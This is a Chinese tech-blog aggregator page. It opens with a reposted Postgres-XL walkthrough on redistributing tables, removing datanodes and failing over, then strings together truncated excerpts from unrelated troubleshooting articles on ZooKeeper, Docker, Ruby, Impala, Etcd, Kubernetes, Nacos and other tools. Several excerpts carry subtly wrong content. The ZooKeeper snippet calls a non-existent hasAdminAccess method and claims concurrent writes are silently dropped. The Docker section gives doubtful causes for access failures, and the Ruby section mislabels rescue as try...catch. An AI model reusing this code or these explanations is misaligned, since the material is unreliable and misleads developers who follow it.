新增一个节点后,将sharding表数据重新分配到三个节点上,将repl表复制到新节点 重分布sharding表postgres= ALTER TABLE disttab ADD NODE (datanode3);ALTER TABLE 复制数据到新节点postgres= ALTER TABLE repltab ADD NODE (datanode3);ALTER TABLE 查看新的数据分布: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+--------700122826 | 36-927910690 | 321148549230 | 32(3 rows) 登录datanode3(新增的时候,放在了xl3服务器上,端口15432)节点查看数据: [postgres@gtm ~]$ psql -h xl3 -p 15432 -U postgrespsql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= select count() from repltab;count -------100(1 row) 很明显,通过 ALTER TABLE tt ADD NODE (dn)命令,可以将DISTRIBUTE表数据重新分布到新节点,重分布过程中会中断所有事务。可以将REPLICATION表数据复制到新节点。 从datanode节点中回收数据 postgres= ALTER TABLE disttab DELETE NODE (datanode3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (datanode3);ALTER TABLE 删除数据节点 Postgresql-XL并没有检查将被删除的datanode节点是否有replicated/distributed表的数据,为了数据安全,在删除之前需要检查下被删除节点上的数据,有数据的话,要回收掉分配到其他节点,然后才能安全删除。删除数据节点分为四步骤: 1.查询要删除节点dn3的oid postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316385 | node1 | D | 5433 | datanode1 | f | t | 114854923016386 | node2 | D | 5433 | datanode2 | f | f | -92791069016397 | dn3 | D | 5430 | datanode1 | f | f | -700122826(5 rows) 2.查询dn3对应的oid中是否有数据 testdb= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+-------------------16388 | H | 1 | 1 | 4096 | 16397 16385 1638616394 | R | 0 | 0 | 0 | 16397 16385 16386(2 rows) 3.有数据的先回收数据 postgres= ALTER TABLE disttab DELETE NODE (dn3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (dn3);ALTER TABLEpostgres= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+----------(0 rows) 4.安全删除dn3 PGXC$ remove datanode master dn3 clean 故障节点FAILOVER 1.查看当前集群状态 [postgres@gtm ~]$ psql -h xl1 -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11739 | coord1 | C | 5432 | xl1 | f | f | 188569664316384 | coord2 | C | 5432 | xl2 | f | f | -119710263316387 | datanode2 | D | 15432 | xl2 | f | f | -90583192516388 | datanode1 | D | 15432 | xl1 | t | t | 888802358(4 rows) 2.模拟datanode1节点故障 直接关闭即可 PGXC stop -m immediate datanode master datanode1Stopping datanode master datanode1.Done. 3.测试查询 只要查询涉及到datanode1上的数据,那么该查询就会报错 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;WARNING: failed to receive file descriptors for connectionsERROR: Failed to get pooled connectionsHINT: This may happen because one or more nodes are currently unreachable, either because of node or network failure.Its also possible that the target node may have hit the connection limit or the pooler is configured with low connections.Please check if all nodes are running fine and also review max_connections and max_pool_size configuration parameterspostgres= SELECT xc_node_id, FROM disttab WHERE col1 = 3;xc_node_id | col1 | col2 | col3------------+------+------+-------905831925 | 3 | 103 | foo(1 row) 测试发现,查询范围如果涉及到故障的node1节点,会报错,而查询的数据范围不在node1上的话,仍然可以查询。 4.手动切换 要想切换,必须要提前配置slave节点。 PGXC$ failover datanode node1 切换完成后,查询集群 postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316386 | node2 | D | 15432 | datanode2 | f | f | -92791069016385 | node1 | D | 15433 | datanode2 | f | t | 1148549230(4 rows) 发现datanode1节点的ip和端口都已经替换为配置的slave了。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qianglei6077/article/details/94379331。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-30 11:09:03
94
转载
转载文章
...SELinux相关的权限问题时,除了临时关闭或永久禁用SELinux外,更安全且推荐的做法是调整SELinux策略以适应Zabbix服务的运行需求。实际上,针对特定应用如Zabbix进行SELinux上下文和模块的定制化配置,可以在保持系统安全的同时确保服务正常运行。 近期(根据实际日期填写),Zabbix官方社区发布了一篇关于如何在启用SELinux环境下正确配置Zabbix的文章,详细阐述了如何编写自定义SELinux模块,为Zabbix服务创建适当的端口、文件和目录类型的标签,以及如何设置布尔值以允许Zabbix与必要的套接字进行交互。通过遵循这些指导步骤,用户可以在享受SELinux提供的强大安全保障的同时,避免因权限问题导致的服务启动失败。 此外,Linux内核开发者和安全专家也不断强调,不应轻易禁用SELinux,而是应深入了解并利用其规则来优化系统安全性。例如,在一篇由Red Hat发布的技术博客中,作者深入剖析了SELinux的工作原理,并给出了针对类似“Permission denied”错误的实战解决方案,其中包括如何查看和修改SELinux上下文,以及使用audit2allow工具生成自定义模块。 总之,面对Zabbix等应用程序与SELinux之间的兼容性问题,应当优先选择细化SELinux策略,而不是简单地禁用它。通过查阅最新的官方文档、社区讨论和技术博客,可以获取到实时有效的解决方案,帮助系统管理员更好地驾驭SELinux,确保系统的安全稳定运行。
2023-04-15 23:41:26
298
转载
转载文章
...d服务器时出现的登录问题,并深入探讨了通过调整vsftpd相关的PAM配置解决此问题的方法。 /etc/pam.d/vsftpd , 在Linux系统中,/etc/pam.d目录下存放的是各种服务(如ftp、ssh等)使用的PAM配置文件。其中,vsftpd文件专门针对vsftpd FTP服务定义了PAM认证规则。当用户尝试通过FTP连接服务器时,系统会按照该文件中的规则序列执行相应的身份验证操作。本文中提到的错误现象是由于vsftpd的PAM配置不当导致的,通过修正此配置文件中的auth sufficient与account sufficient行,使得FTP服务器能正确引用/etc/vsftpd/loginusers数据库完成用户的身份验证及账户权限检查,从而解决了登录失败的问题。
2024-01-06 14:11:49
141
转载
ZooKeeper
...决分布式环境中的各种问题。然而,在实际操作时,咱们免不了会遇到些磕磕绊绊的情况,比如数据写不进去啦这些小插曲。本文将探讨这些问题的可能原因,并提供相应的解决方案。 二、数据写入失败的原因分析 1. 权限问题 ZooKeeper是基于角色的访问控制模型,这意味着每个节点都有其特定的角色和权限。当用户想对某个节点动手脚,比如写入点啥信息,但权限不够的话,那这个数据就甭想顺利写进去了,肯定失败没商量。比如说,假如你心血来潮想要改个只读节点上的数据,放心好了,系统可不会让你轻易得逞,它会毫不客气地抛给你一个“权限不足”的错误提示,意思是“没门儿,你没权利这么做”。 java Stat stat = zk.exists("/path/to/node", false); if (stat == null) { // Node does not exist } else if (!zk.hasAdminAccess("/path/to/node")) { // User does not have admin access to the node System.out.println("Failed to modify node, insufficient permissions"); } 2. 磁盘空间不足 如果ZooKeeper服务所在的服务器的磁盘空间不足,那么写入新的数据就可能会失败。这是因为每当ZooKeeper进行一次写操作时,它都会像咱们给文件命名个新版本号一样,创建一个新的版本标识。想象一下,如果我们的磁盘空间快见底了,那自然也就没地方再放这些不断更新、不断增加的版本号啦。 3. 数据冲突 ZooKeeper的数据是有序的,这意味着如果有多个客户端同时尝试更新同一个节点的数据,那么ZooKeeper会选择其中的一个进行写入,其他的所有写操作都会被忽略。但是,如果这些客户端之间存在数据冲突,那么写入操作就可能会失败。 三、解决数据写入失败的方法 1. 检查权限 首先,你需要确保你有足够的权限来进行写操作。你可以使用hasAdminAccess()方法来检查你的权限。 java Stat stat = zk.exists("/path/to/node", false); if (stat == null) { // Node does not exist } else if (!zk.hasAdminAccess("/path/to/node")) { // User does not have admin access to the node System.out.println("Failed to modify node, insufficient permissions"); } 2. 增加磁盘空间 其次,你需要确保ZooKeeper服务所在的服务器有足够的磁盘空间。你可以通过增加硬盘容量或者清理不必要的文件来增加磁盘空间。 3. 解决数据冲突 最后,你需要解决数据冲突的问题。你可以通过调整并发度或者使用更复杂的锁机制来避免数据冲突。比如,你能够像用一把保险锁(就像互斥锁那样)来确保同一时间只有一个客户端能对节点数据进行修改,这样就实现了安全更新。 四、结论 总的来说,数据写入失败可能是由于权限问题、磁盘空间不足或数据冲突等原因造成的。对于这些问题,我们需要分别采取相应的措施来解决。记住了啊,真正搞明白这些问题,并妥善处理它们,就能让我们更溜地驾驭ZooKeeper这个超级强大的工具,让它发挥出更大的作用。
2023-09-18 15:29:07
121
飞鸟与鱼-t
Docker
...文将介绍如何解决这个问题。 二、什么是Docker? Docker是一种开源的应用容器引擎,它可以将应用程序及其依赖打包成一个标准化的、轻量级的镜像文件,并在任何平台上以一致的方式运行。使用Docker,咱们就能轻松化解不同环境带来的配置难题,这样一来,不仅大大缩短了部署所需的时间,减少了不必要的资源损耗,还能让开发效率噌噌上涨,生产力也跟着一路飙升。 三、如何打包jar镜像? 要打包jar镜像,我们需要使用Dockerfile这个脚本文件。Dockerfile就像一个菜谱,里边记录了一连串的步骤指导我们如何一步步构建镜像。比如说,它会告诉我们啥时候该安装必要的软件依赖,什么时候需要新建文件夹,啥时候复制所需的文件等等,就像是在手把手教我们做一道“镜像大餐”。下面是一个简单的Dockerfile示例: bash FROM openjdk:8-jdk-alpine COPY target/my-app.jar app.jar ENTRYPOINT ["java","-jar","/app.jar"] 在这个Dockerfile中,我们首先选择了基于openjdk:8-jdk-alpine的镜像作为基础镜像,然后复制了目标目录下名为my-app.jar的文件到/app.jar,最后定义了入口点为执行Java程序的命令。 四、打包jar镜像后无法访问怎么办? 当我们打包完jar镜像后,可能会遇到无法访问的问题。这可能是由于以下几个原因造成的: 1. 镜像名称冲突 如果有多个Docker容器使用了相同的镜像名称,那么其中一个容器就无法访问到该镜像。 2. 镜像过期 如果Docker缓存的镜像已经过期,那么也无法访问到该镜像。 3. 镜像下载失败 如果网络连接不稳定,或者Docker镜像源出现问题,也可能导致镜像下载失败,从而无法访问到该镜像。 五、如何解决无法访问的问题? 针对以上可能出现的问题,我们可以采取以下方法来解决: 1. 使用唯一的镜像名称 我们可以为每个Docker容器指定唯一的镜像名称,以避免名称冲突的问题。 2. 更新镜像 我们可以定期更新Docker缓存中的镜像,以保证使用的镜像是最新的。 3. 检查网络连接 如果网络连接不稳定,我们应该检查网络连接,尝试重新下载镜像。 六、结论 总的来说,Docker是一款非常实用的工具,可以极大地提升我们的开发效率和生产力。虽然有时候咱们免不了会碰上一些头疼的问题,但只要咱掌握了那些解决问题的独门秘诀,就能轻轻松松地把这些问题摆平,然后尽情享受Docker带来的各种便利,就像喝凉水一样简单畅快。同时,我们也应该注意及时更新镜像,避免因镜像过期而导致的问题。
2023-04-14 21:52:33
1259
星河万里_t
Ruby
...用没成功,比如你想要创建个目录却搞不定,就可能碰上这个问题。这个问题可能会让我们的程序闹脾气罢工,所以咱们得学会怎么搞定这状况哈。 二、什么是SystemCallError? SystemCallError是Ruby中的一种异常类型,它表示在执行系统调用时发生了错误。系统调用是一种操作系统的低级功能,用于控制硬件资源或者改变程序的运行环境。常见的系统调用包括创建文件、删除文件、读取文件等。 三、为什么会出现SystemCallError? 出现SystemCallError的原因有很多,最常见的原因是权限不足。当你想打开或者改个文件的时候,如果电脑发现你现在用的账户权限不够,它就会蹦出一个SystemCallError,意思是“喂喂,你权限不够,干不了这事儿!” 四、如何解决SystemCallError? 下面是一些解决SystemCallError的方法: 1. 检查权限 如果你尝试创建或者删除文件时遇到了SystemCallError,那么首先应该检查你的权限是否足够。你可以使用ls -l命令来查看文件的所有者和权限。 2. 使用sudo 如果权限不足,你可以使用sudo命令来提升你的权限。但是需要注意的是,sudo命令只能临时提升你的权限,并不能永久解决问题。而且过度使用sudo也会带来安全风险。 3. 更改文件权限 如果你知道这个文件是由其他用户创建的,那么你可以尝试更改它的权限。你可以使用chmod命令来更改文件的权限。 4. 尝试重启计算机 有时候,系统调用失败可能是由于操作系统的一些问题引起的。在这种情况下,重启计算机可能能够解决问题。 5. 使用try...catch语句 如果你的应用程序需要频繁地进行系统调用,那么可以考虑使用try...catch语句来捕获可能出现的SystemCallError。这样,即使出现了错误,你的应用程序也可以继续运行下去。 五、代码示例 以下是一个简单的例子,展示了如何使用try...catch语句来处理SystemCallError。 ruby begin 创建一个新文件 File.open('test.txt', 'w') do |f| f.write('Hello, World!') end rescue SystemCallError => e puts "Failed to create file: {e.message}" end 在这个例子中,我们尝试创建一个名为test.txt的新文件。如果文件创建成功,那么这段代码将正常结束。但是如果文件创建失败(例如,因为权限不足),那么就会抛出一个SystemCallError。我们使用try...catch语句来捕获这个异常,并打印出错误信息。 六、结论 总的来说,SystemCallError是一种非常常见的编程错误。通过了解其原因和解决方法,我们可以更好地应对这种问题。同时呢,咱们也得养成出色的编程习惯,就像是好好刷牙、天天健身一样重要。别让权限不足或者那些个乱七八糟的问题,偷偷摸摸地引发SystemCallError这种“小恶魔”,把咱们的代码世界搞得一团糟哈。 七、结尾 以上就是对SystemCallError的介绍和解决方案的探讨。希望大家能够从中学到一些有用的知识,提高自己的编程水平。如果你有任何疑问或者建议,欢迎随时联系我。谢谢大家!
2023-12-28 12:47:41
103
昨夜星辰昨夜风-t
Impala
...设置这些依赖,就可能导致查询失败。 例如,如果我们有一个视图"sales_view",它依赖于另一个表"products"。如果我们尝试直接查询"sales_view",而没有先加载"products",就会出现"Table not found"的错误。 三、解决方法 1. 检查并修正分区键值 当我们遇到"Partition key value out of range"的异常错误时,我们需要检查并修正我们的查询语句或者输入的数据。确保使用的分区键值与数据库中的分区键值一致。 2. 确保表的存在并正确加载 为了避免"Impala error: Table not found"的错误,我们需要确保我们正在查询的表是存在的,并且已经正确地加载到Impala中。我们可以使用SHOW TABLES命令来查看所有已知的表,然后使用LOAD DATA命令将需要的表加载到Impala中。 3. 设置正确的依赖关系 为了避免"Table not found"的错误,我们需要确保所有的依赖关系都已经被正确地设置。我们可以使用DESCRIBE命令来查看表的结构,包括它所依赖的其他表。接下来,我们可以用CREATE VIEW这个命令来创建一个视图,就像搭积木那样明确地给它设定好依赖关系。 四、总结 总的来说,Impala查询过程中出现异常错误是很常见的问题。为了实实在在地把这些问题给解决掉,咱们得先摸清楚可能会出现的各种错误类型和它们背后的“病因”,然后瞅准实际情况,对症下药,采取最适合的解决办法。经过持续不断的学习和实操,我们在处理大数据分析时,就能巧妙地绕开不少令人头疼的麻烦,实实在在地提升工作效率,让工作变得更顺溜。
2023-12-25 23:54:34
471
时光倒流-t
Etcd
...先前持久化的快照文件问题解析及解决方案 1. 引言 Etcd,作为分布式键值存储系统,常被用于服务发现、配置共享和一致性保证等场景。在实际运行过程中,Etcd会周期性地将数据持久化为快照文件以防止数据丢失。然而,当我们重启Etcd服务时,可能会遇到无法加载先前持久化的快照文件的问题,这无疑对系统的稳定性构成了威胁。这篇东西,咱们会好好挖一挖这个问题背后的为啥,然后我还会甩出些实例代码和实战经历,实实在在地给你亮出解决方案。 2. 快照文件加载失败的可能原因 2.1 文件损坏或不完整 在Etcd进行持久化操作时,如果出现如磁盘空间不足、写入过程中服务器宕机等情况,可能导致生成的快照文件损坏或不完整,从而使得Etcd在重启时无法成功加载这些文件。 bash 示例:Etcd启动日志中可能显示的错误信息 etcd: snapshot file /var/lib/etcd/member/snap/db.snap is corrupted or has a wrong version 2.2 版本不兼容 Etcd在升级版本时,旧版本创建的快照文件可能与新版本存在兼容性问题,导致新版本的Etcd服务无法正确加载旧版本的快照文件。 2.3 文件权限问题 如果Etcd进程没有足够的权限访问快照文件,也会导致加载失败。 2.4 配置路径不一致 在Etcd启动配置中,如果指定的数据目录与快照文件的实际存放路径不匹配,自然会导致Etcd找不到并加载快照文件。 3. 解决方案及实战示例 3.1 检查和修复快照文件 首先,我们需要确认快照文件是否损坏或不完整。可以尝试使用etcdctl工具来检查快照文件: bash etcdctl snapshot status /path/to/snapshot.db 如果确实存在问题,可以考虑从备份恢复或者重新启动一个全新的Etcd集群,然后重新导入数据。 3.2 确保版本兼容性 在升级Etcd版本时,应遵循官方发布的升级指南,确保有正确的迁移步骤。如有必要,可先将旧版Etcd的数据进行备份,并在新版Etcd启动后执行恢复操作。 3.3 调整文件权限 确保Etcd进程用户有足够的权限访问快照文件,例如: bash chown -R etcd:etcd /var/lib/etcd/ 3.4 核实启动配置中的数据目录 请确保Etcd启动命令或配置文件中的数据目录参数(--data-dir)指向包含快照文件的实际路径。 bash ./etcd --data-dir=/var/lib/etcd/member --snapshot-count=10000 4. 总结与思考 在处理Etcd无法加载先前持久化快照文件的问题时,我们不仅需要排查具体的技术原因,还要根据实际情况灵活运用各种应对策略。同时呢,这也正好敲响了我们日常运维的小闹钟,告诉我们得把Etcd集群数据的定期备份和检查工作给提上日程,可不能马虎。而且呀,在进行版本升级的时候,也要瞪大眼睛留意一下兼容性问题,别让它成了那只捣蛋的小鬼。说到底,只有真正把它的运作机理摸得门儿清,把那些潜在的风险点都研究透彻了,咱们才能把这个强大的分布式存储工具玩转起来,保证咱的业务系统能够稳稳当当地跑起来。就像医生看病那样,解决技术问题也得我们像老中医似的,耐着性子慢慢来,得“望闻问切”全套做齐了,也就是说,得仔细观察、耐心倾听、多角度询问、深度剖析,一步步把各种可能的问题排除掉,最后才能揪出那个隐藏的“罪魁祸首”。
2023-07-24 14:09:40
778
月下独酌
Kubernetes
...erver访问受限或失败的问题。如果你在用API Server搞事情时,总是被各种限制绊住脚,甚至直接翻车了,那这篇文绝对值得你花时间好好看看。我们将会从基础开始,一步步深入,直到找到解决问题的方法。让我们一起探索Kubernetes的世界吧! 2. Kubernetes API Server 它是怎么工作的? 首先,让我们快速回顾一下Kubernetes API Server的基本概念。Kubernetes API Server就像是Kubernetes集群的总闸门,所有来自用户和各个组件的请求都得通过这里,然后由它来搞定这些请求。不管你是打算弄个新Pod出来,还是想调整下现有的服务设置,都得通过API Server来搞。 2.1 认证:你是谁? 当你试图与API Server交互时,第一步就是证明自己的身份。Kubernetes支持多种认证机制,包括但不限于: - 基于Token的认证:你需要提供一个有效的Token。 - 证书认证:使用TLS客户端证书进行身份验证。 - 用户名/密码:虽然不推荐用于生产环境,但在某些场景下仍然有用。 假设你正在使用Token进行认证,下面是一个简单的curl命令示例: bash curl -k -H "Authorization: Bearer " https:///api/v1/namespaces/default/pods 这里的是你从Kubernetes集群中获取的有效Token。 2.2 授权:你能做什么? 一旦认证成功,接下来就是授权阶段。Kubernetes会检查你是否有权限执行特定的操作。这通常依赖于RBAC(基于角色的访问控制)规则。如果授权失败,即便你已经认证成功,也无法完成请求。 这里举个例子,如果你想创建一个新的Pod,但没有足够的权限,API Server会拒绝你的请求。你可以通过查看日志来了解具体的拒绝原因。 3. 遇到问题?别慌! 现在,我们已经知道了一些基本概念,但实际操作中总会遇到一些问题。比如,你的请求可能会因为各种各样的原因而失败或受到限制。这时,我们需要冷静下来,逐一排查可能的原因。 3.1 网络问题 网络连接不稳定或防火墙设置不当都可能导致访问失败。确保你的网络配置正确无误,防火墙规则允许必要的流量通过。 3.2 认证失败 认证失败是最常见的原因之一。看看你的Token有没有过期,证书是不是装对了地方,还有用户名和密码是不是输对了。 3.3 授权不足 即使认证成功,也有可能因为授权不足而无法执行某些操作。检查你的RBAC规则,确保你拥有执行所需操作的权限。 3.4 API Server本身的问题 有时候,问题可能出在API Server自身。检查API Server的日志文件,看看是否有任何错误信息可以帮助你定位问题。 4. 实践中的挑战与解决方案 4.1 挑战一:认证令牌过期 解决方法:定期刷新你的认证令牌,确保其始终处于有效状态。可以使用kubectl config view命令来检查当前使用的认证信息。 4.2 挑战二:RBAC规则过于严格 解决方法:适当放宽RBAC规则,给予用户或服务账户更多的权限。当然,这也意味着需要平衡安全性和便利性。 4.3 挑战三:网络配置问题 解决方法:检查并优化你的网络配置。确保所有必要的端口都是开放的,并且流量能够顺利通过。 5. 结语 探索与成长 通过本文,我们不仅了解了如何通过Kubernetes API Server进行操作,还学习了如何应对可能出现的各种问题。记住,技术的学习和应用是一个不断探索和成长的过程。遇到问题时,保持耐心,逐一排查,相信你总能找到解决问题的方法。希望这篇文章能帮助你在Kubernetes的旅程上更进一步! --- 希望这篇充满情感和技术探讨的文章能满足你的需求。如果有任何具体问题或需要进一步解释的地方,请随时告诉我!
2024-10-22 16:10:03
122
半夏微凉
转载文章
...面了解了网易蜂巢平台创建和管理容器的详细流程后,我们进一步探讨容器技术在现代云计算领域的应用与发展。近期,Docker与Kubernetes等开源容器技术正在持续推动云原生应用的发展潮流。例如,阿里云日前发布了全新的ACK Anywhere服务,让企业能够在任意基础设施上部署和管理Kubernetes集群,实现混合云、多云环境下的容器统一管理,这无疑为企业提供了更大的灵活性与可控性。 此外,随着安全问题日益突出,如何保障容器环境的安全也成为了业界关注焦点。例如,腾讯云推出了基于密钥注入机制的容器安全解决方案,通过严格的权限控制和SSH密钥对管理,确保容器在构建和运行过程中的安全性,这一举措与文中提到的网易蜂巢容器SSH密钥登录机制不谋而合,凸显出业界对于容器安全性的高度重视。 与此同时,容器镜像仓库作为容器生态链中不可或缺的一环,其标准化与合规化同样至关重要。近日,华为云发布了统一的容器镜像标准,旨在提升镜像质量,简化镜像分发和维护流程,为开发者提供更为便捷、高效的镜像服务体验,这也启示我们在利用如网易蜂巢等平台创建自定义镜像时,应注重遵循行业规范与最佳实践。 总之,容器技术在不断提升效率的同时,也在不断强化安全性和规范化建设,以满足企业和开发者日趋复杂的应用场景需求。对于用户而言,在熟练掌握如网易蜂巢容器管理操作的基础上,紧跟容器技术领域的新趋势与新发展,将有利于更好地运用容器技术驱动业务创新与增长。
2023-01-24 23:58:16
217
转载
Netty
...更好地应对类似“握手失败”等问题。同时,一些开源项目如Spring Framework 5.x版本也强化了对WebSocket的支持,提供了更简洁易用的API来帮助开发者创建符合规范的WebSocket服务端,从而有效避免因握手响应不完整或无效导致的问题。 此外,对于深入理解WebSocket协议规范以及实战应用,可以进一步研读RFC6455(WebSocket协议标准)以获取第一手权威资料,并参考行业内的最佳实践案例,比如各大云服务商基于WebSocket实现的消息推送服务架构解析,从中吸取经验教训,确保在使用Netty等工具进行WebSocket编程时能够更加得心应手。 总之,在实际开发过程中,紧跟WebSocket协议和技术的发展趋势,结合本文所探讨的Netty框架下握手问题解决方案,将有助于我们打造更为稳定、高效且符合业界标准的WebSocket应用程序。
2023-11-19 08:30:06
211
凌波微步
SeaTunnel
...。本文将深入探讨这一问题,并通过实例代码展示如何在SeaTunnel中有效解决它。 2. 数据源初始化的重要性 在SeaTunnel的世界里,数据源初始化是整个数据抽取、转换、加载过程(ETL)的第一步,其成功与否直接影响后续所有流程的执行。初始化这一步骤,主要是为了亲手搭建并且亲自验证SeaTunnel和目标数据库之间的“桥梁”,确保那些重要的数据能够像河水一样流畅地流入流出,而且是分毫不差、准准地流动。如果在这个节骨眼上出了岔子,就好比开船之前没把缆绳绑扎实,你想想看,那结果得多糟糕啊! 3. 数据源初始化失败的原因及分析 - 原因一:配置信息错误 在配置数据源时,URL、用户名、密码等信息不准确或遗漏是最常见的错误。例如: java // 错误示例:MySQL数据源配置信息缺失 DataStreamSource mysqlSource = MysqlSource.create() .setUsername("root") .build(); 上述代码中没有提供数据库URL和密码,SeaTunnel自然无法正常初始化并连接到MySQL服务器。 - 原因二:网络问题 如果目标数据源服务器网络不可达,也会导致初始化失败。此时,无论配置多么完美,也无法完成连接。 - 原因三:资源限制 数据库连接数超出限制、权限不足等也是常见问题。比如,SeaTunnel尝试连接的用户可能没有足够的权限访问特定表或者数据库。 4. 解决策略与代码实践 - 策略一:细致检查配置信息 正确配置数据源需确保所有必要参数完整且准确。以下是一个正确的MySQL数据源配置示例: java // 正确示例:MySQL数据源配置 DataStreamSource mysqlSource = MysqlSource.create() .setUrl("jdbc:mysql://localhost:3306/mydatabase") .setUsername("root") .setPassword("password") .build(); - 策略二:排查网络环境 当怀疑因网络问题导致初始化失败时,应首先确认目标数据源服务器是否可达,同时检查防火墙设置以及网络代理等可能导致连接受阻的因素。 - 策略三:权限调整与资源优化 若是因为权限或资源限制导致初始化失败,需要联系数据源管理员,确保用于连接的用户具有适当的权限,并适当调增数据库连接池大小等资源限制。 5. 思考与探讨 在面对“数据源未初始化或初始化失败”这类问题时,我们需要发挥人类特有的耐心和洞察力,一步步抽丝剥茧,从源头开始查找问题所在。在使用像SeaTunnel这样的技术神器时,每一个环节都值得我们仔仔细细地瞅一瞅,毕竟,哪怕是一丁点的小马虎,都有可能变成阻碍我们大步向前的“小石头”。而每一次解决问题的过程,都是我们对大数据世界更深入了解和掌握的一次历练。 总结来说,SeaTunnel的强大功能背后,离不开使用者对其各种应用场景下细节问题的精准把握和妥善处理。其实啊,只要我们对每一个环节都上点心,就算是那个看着让人头疼的“数据源初始化”大难题,也能轻松破解掉。这样一来,数据就像小河一样哗哗地流淌起来,给我们的业务决策和智能应用注入满满的能量与活力。
2023-05-31 16:49:15
155
清风徐来
Nacos
...会碰到各种意想不到的问题,就像这次我们要掰扯的Nacos错误提示:“哎呀喂,Nacos出错了,数据ID是gatewayserver-dev-${server.env}.yaml”,瞧瞧这报错信息,是不是让人有点小头疼呢? 这篇文章将带您深入了解这个问题的原因及解决方法,并给出具体的代码示例。相信通过阅读本文,您将能够更好地理解和使用Nacos。 二、Nacos报错原因分析 首先,我们需要了解这个报错的具体含义。在Nacos的日常运行日志里头,要是你瞅见了“Nacos error”这样的警告字样,那就意味着在进行某个操作的时候出了点岔子,遇到了错误情况。而“dataId: gatewayserver-dev-${server.env}.yaml”则是指出了出现问题的数据id。 进一步分析,我们可以得知,这个报错是因为无法找到名为“gatewayserver-dev-${server.env}.yaml”的数据文件。这可能是由于以下几个原因导致的: 1. 文件路径错误 可能是数据文件的实际路径与在Nacos中设置的路径不一致。 2. 文件不存在 可能是数据文件尚未创建或者已被删除。 3. 权限问题 可能是用户没有权限访问该文件。 三、解决问题的方法 针对上述可能的原因,我们可以采取以下措施来解决这个问题: 1. 检查文件路径 确保Nacos中设置的文件路径与数据文件的实际路径一致。如果碰到了路径出错的情况,别担心,咱们可以简单地通过修改Nacos中的配置来把这个问题给解决了。 bash 修改Nacos的配置文件 vi /path/to/nacos/conf/application.properties 找到如下配置项并进行修改: properties spring.cloud.nacos.config.server-addr=127.0.0.1:8848 spring.cloud.nacos.config.file-extension=yaml 2. 创建文件 如果数据文件不存在,需要先创建该文件。可以使用文本编辑器打开一个新文件,并将其保存为“gatewayserver-dev-${server.env}.yaml”。 3. 设置权限 如果文件权限问题导致无法访问,可以尝试更改文件权限,使得用户拥有足够的权限来访问该文件。 bash 更改文件权限 chmod 755 /path/to/gatewayserver-dev-${server.env}.yaml 四、总结 通过以上的分析和解决方案,我们可以看出,Nacos报错“Nacos error, dataId: gatewayserver-dev-${server.env}.yaml”主要是由于文件路径错误、文件不存在或权限问题导致的。要搞定这些问题,关键一步就是得检查和调整相关的设置,确保Nacos能够顺利地访问并妥善管理那些数据文件。 需要注意的是,以上只是针对此特定问题的解决方法,不同情况下可能需要采取不同的策略。所以在使用Nacos的时候,咱们就得不断摸索、积累实战经验,这样一来,碰到各种状况就能更溜地应对了。同时,咱们也得养成一些接地气的编程好习惯,就比如说,记得时不时给重要文件做个“存档”以防万一,还有就是给文件权限安排得明明白白,这样一来,就能有效避免那些手滑、误操作引发的小插曲和大麻烦啦。 五、结尾语 最后,希望大家在使用Nacos时能保持耐心和细心,不断地学习和实践,不断提升自己的技能水平。希望通过这篇分享,能实实在在地帮到那些正被Nacos报错问题搞得焦头烂额的兄弟姐妹们,让大家伙儿都能顺利解决问题,继续愉快地编程之旅。如果您在使用Nacos的过程中还有其他疑问或问题,请随时留言提问,我们会尽力提供帮助和支持!
2023-09-28 19:24:59
111
春暖花开_t
Apache Pig
...能正确获取队列资源的问题解析与解决方案 1. 引言 在大数据处理的世界中,Apache Pig作为Hadoop生态的重要一员,以其SQL-like的脚本语言——Pig Latin,为用户提供了对大规模数据集进行高效处理的能力。然而,在把Pig任务扔给YARN(也就是那个“又一个资源协调器”)集群的时候,咱们时常会碰到个让人头疼的小插曲:这任务竟然没法顺利拿到队列里的资源。本文将深入探讨这个问题的发生原因,并通过实例代码和详细解析来提供有效的解决策略。 2. 问题现象及初步分析 当您尝试提交一个Pig作业到YARN上运行时,可能遇到类似这样的错误提示:“Failed to submit application to YARN: org.apache.hadoop.yarn.exceptions.YarnException: Application submission failed for appattempt_1603984756655_0001 due to queue 'your-queue-name' not existing in the system.” 这个错误明确指出,Pig作业无法在指定的队列中找到足够的资源来执行任务。 问题根源:这通常是因为队列配置不正确或资源管理器未识别出该队列。YARN按照预定义的队列管理和分配资源,如果提交作业时不明确指定或指定了不存在的队列名称,就会导致作业无法获取所需的计算资源。 3. 示例代码与问题演示 首先,让我们看一段典型的使用Apache Pig提交作业到YARN的示例代码: shell pig -x mapreduce -param yarn_queue_name=your-queue-name script.pig 假设这里的"your-queue-name"是一个实际不存在于YARN中的队列名,那么上述命令执行后就会出现文章开头所述的错误。 4. 